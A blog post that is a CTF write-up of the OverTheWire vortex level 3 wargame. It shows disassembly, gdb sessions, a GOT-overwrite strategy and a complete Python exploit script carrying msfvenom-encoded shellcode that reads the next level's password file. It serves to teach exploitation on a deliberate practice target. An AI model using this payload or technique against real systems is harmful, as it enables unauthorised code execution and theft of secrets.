Klaus' Log

Sa 08 Dezember 2018

Overthewire vortex Wargame - Level 3

Posted by Klaus Eisentraut in ctf   

This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2.

Level 3

Level #3 was more difficult than the ones before. In fact, I found the hint more confusing than helping.

The wording of the hint is NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro. But if we take a look at the executable, there is no .ctors or .dtors section at all:

$ readelf -S vortex3
There are 30 section headers, starting at offset 0x8a8:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048168 000168 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481ac 0001ac 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804820c 00020c 000051 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          0804825e 00025e 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804826c 00026c 000020 00   A  6   1  4
  [ 9] .rel.dyn          REL             0804828c 00028c 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048294 000294 000020 08   A  5  12  4
  [11] .init             PROGBITS        080482b4 0002b4 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        080482e0 0002e0 000050 04  AX  0   0 16
  [13] .text             PROGBITS        08048330 000330 000202 00  AX  0   0 16
  [14] .fini             PROGBITS        08048534 000534 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048548 000548 000008 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        08048550 000550 00002c 00   A  0   0  4
  [17] .eh_frame         PROGBITS        0804857c 00057c 0000ac 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      08049628 000628 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      0804962c 00062c 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049630 000630 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049634 000634 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        0804971c 00071c 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049720 000720 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        0804973c 00073c 000010 00  WA  0   0  4
  [25] .bss              NOBITS          0804974c 00074c 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 00074c 000056 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 0007a2 000106 00      0   0  1
  [28] .symtab           SYMTAB          00000000 000d58 000460 10     29  45  4
  [29] .strtab           STRTAB          00000000 0011b8 00026b 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

So I decided to ignore this hint.

Now, we need to take a look what the code is doing. We have two global variables val and lp and three variables on the stack lpp, tmp and buf. There is an unsafe call strcpy(buf, argv[1]), so obviously we have to overflow buf. Let's dissassemble the executable with objdump -S -M intel vortex3 and take a look at the main function in order to see how the variables are arranged on the stack layout:

0804842d <main>:
 804842d:   55                      push   ebp
 804842e:   89 e5                   mov    ebp,esp
 8048430:   83 e4 f0                and    esp,0xfffffff0                  <-- align stack to 16bit boundary
 8048433:   81 ec a0 00 00 00       sub    esp,0xa0                        <-- make space for local variables on stack 
 8048439:   c7 84 24 9c 00 00 00    mov    DWORD PTR [esp+0x9c],0x8049748  <-- &lp = 0x8049748 , lpp = esp+0x9c
 8048440:   48 97 04 08 
 8048444:   83 7d 08 02             cmp    DWORD PTR [ebp+0x8],0x2
 8048448:   74 0c                   je     8048456 <main+0x29>
 804844a:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048451:   e8 ba fe ff ff          call   8048310 <exit@plt>
 8048456:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]         <-- argv = ebp+0xc
 8048459:   83 c0 04                add    eax,0x4
 804845c:   8b 00                   mov    eax,DWORD PTR [eax]
 804845e:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax         <-- esp+0x4 is now argv[1]
 8048462:   8d 44 24 18             lea    eax,[esp+0x18]                  <-- esp+0x18 = buf
 8048466:   89 04 24                mov    DWORD PTR [esp],eax             
 8048469:   e8 82 fe ff ff          call   80482f0 <strcpy@plt>
 804846e:   8b 84 24 9c 00 00 00    mov    eax,DWORD PTR [esp+0x9c]
 8048475:   66 b8 00 00             mov    ax,0x0
 8048479:   3d 00 00 04 08          cmp    eax,0x8040000
 804847e:   74 0c                   je     804848c <main+0x5f>
 8048480:   c7 04 24 02 00 00 00    mov    DWORD PTR [esp],0x2
 8048487:   e8 84 fe ff ff          call   8048310 <exit@plt>
 804848c:   8b 84 24 9c 00 00 00    mov    eax,DWORD PTR [esp+0x9c]
 8048493:   8b 00                   mov    eax,DWORD PTR [eax]
 8048495:   89 84 24 98 00 00 00    mov    DWORD PTR [esp+0x98],eax       <-- tmp is located at esp+0x98
 804849c:   8b 84 24 9c 00 00 00    mov    eax,DWORD PTR [esp+0x9c]
 80484a3:   8b 00                   mov    eax,DWORD PTR [eax]
 80484a5:   8d 54 24 18             lea    edx,[esp+0x18]
 80484a9:   89 10                   mov    DWORD PTR [eax],edx            
 80484ab:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0            
 80484b2:   e8 59 fe ff ff          call   8048310 <exit@plt>

So, the stack layout looks like the following:

...
esp+0x18    buf ( 128 bytes)
esp+0x98    tmp (   4 bytes)
esp+0x9c    lpp (   4 bytes)
...

So we can write an arbitrary value to buf, tmp and lpp. All three of them are placed immediately after each other without any padding in between. But what can we do with writing an arbitrary value to tmp or lpp? In order to abuse this, we take a look what the code after the strcpy does:

if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
    exit(2);

tmp = *lpp;
**lpp = (unsigned long) &buf;
// *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30

From this code we derive the following facts:

  • We can put arbitrary bytes into buf, so we will put our shellcode there. However, it must be null-byte free, otherwise the strcpy will terminate too early.
  • lpp must start with 0x8040...., otherwise the code terminates prematurely.
  • tmp=*lpp will dereference lpp, so lpp must be a valid pointer to an address where we can read. When we take a look at /proc/<pid>/maps, we can see that we have two pages, a RX-page from 0x08048000-0x08049000 and a RWX-page from 0x08049000-0x0804a000. We therefore must write an address in one of those two areas to lpp which will actually fulfill the previous bullet point automatically!
  • Finally, we dereference lpp twice and write the address of buf there.

As no function is called after the last C code line, we must overwrite something in the shutdown code of glibc. My solution was to overwrite the jmp instruction of the glibc exit function in the PLT table. The exit function will be called at the end of the main-function. If you do not know how PLT and GOT work, take a look at this artice.

If we take a look with objdump, it looks like the following:

08048310 <exit@plt>:
 8048310:   ff 25 34 97 04 08       jmp    DWORD PTR ds:0x8049734
 8048316:   68 10 00 00 00          push   0x10
 804831b:   e9 c0 ff ff ff          jmp    80482e0 <.plt>

We can also examine the running, not exploited process:

(gdb) break *0x8048310
Breakpoint 1 at 0x8048310
(gdb) run asdf
Breakpoint 1, 0x08048310 in exit@plt ()
(gdb) x/x 0x08048312
0x8048312 <exit@plt+2>: 0x08049734
(gdb) x/x 0x08049734
0x8049734 <exit@got.plt>:   0x08048316
(gdb) x/x 0x08048316
0x8048316 <exit@plt+6>: 0x00001068
(gdb) 

If we point write a value of 0x8048310 + 2 to lpp, then *lpp will be 0x8049734 and the **lpp=&buf line will write the address of buf to the loation 0x8049734 which is exit@got.plt. This is exactly what we want and therefore our shellcode will be executed.

All we need to do now is to create a shellcode which displays the contents of the next password file. I created the shellcode with msfvenom from the Metasploit framework and used an encoder to get a null-byte free shellcode. The final payload was assembled with the following Python-script:

#!/usr/bin/python
from struct import pack
import sys

#msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex4" --format=python -e x86/shikata_ga_nai
buf =  b""
buf += b"\xbd\x99\x8d\x62\xc9\xd9\xc3\xd9\x74\x24\xf4\x58\x29"
buf += b"\xc9\xb1\x12\x83\xe8\xfc\x31\x68\x0f\x03\x68\x96\x6f"
buf += b"\x97\xa3\xa3\x37\xc1\x66\xd5\xaf\xdc\xe5\x90\xd7\x77"
buf += b"\xc5\xd1\x7f\x88\x71\x3a\xe2\xe1\xef\xcd\x01\xa3\x07"
buf += b"\xef\xc5\x44\xd8\xc0\xa7\x2d\xb6\x31\x4b\xcf\x32\x6d"
buf += b"\xa4\x6a\xcf\x0e\x95\x02\x40\xa2\x9d\x8f\xe6\x1d\x2e"
buf += b"\x31\x64\xd2\xe1\xc7\xe5\x66\x8a\x42\x82\xb2\x72\xda"
buf += b"\x21\x33\x93\x29\x45"

shellcode = buf
shellcode = shellcode + b'\xAA'*(128-len(shellcode)) 

payload = shellcode
payload += b'\xBB'*4 # tmp, we don't care about this value 
payload += pack("<I", 0x08048310 + 2) 

sys.stdout.buffer.write(payload)

Finally, we can see it in action:

vortex3@vortex:~$ python3 payload.py  > payload.txt
vortex3@vortex:~$ /vortex/vortex3 $(<payload.txt)
2Y[...snip...]jw

Level #3 - hard version

After noticing that there is a second executable /vortex/vortex3-hard, I wanted to exploit this one, too. It differs from the previous executable only in the fact that the last instruction *lpp = tmp; is not commented out anymore. The previous solution does not work anymore, because the last, additional codeline will try to write to the 0x0804800-0x08049000 page which is RX, i.e. not writeable.

However, lpp (the pointer itself without being dereferenced) is never read or written to after the strcpy call where the exploitation happens, so all we need to do is to a place in the writeable page which contains the same value as in the solution before. In fact, I found the same value of in the RWX page at 0x080492a4.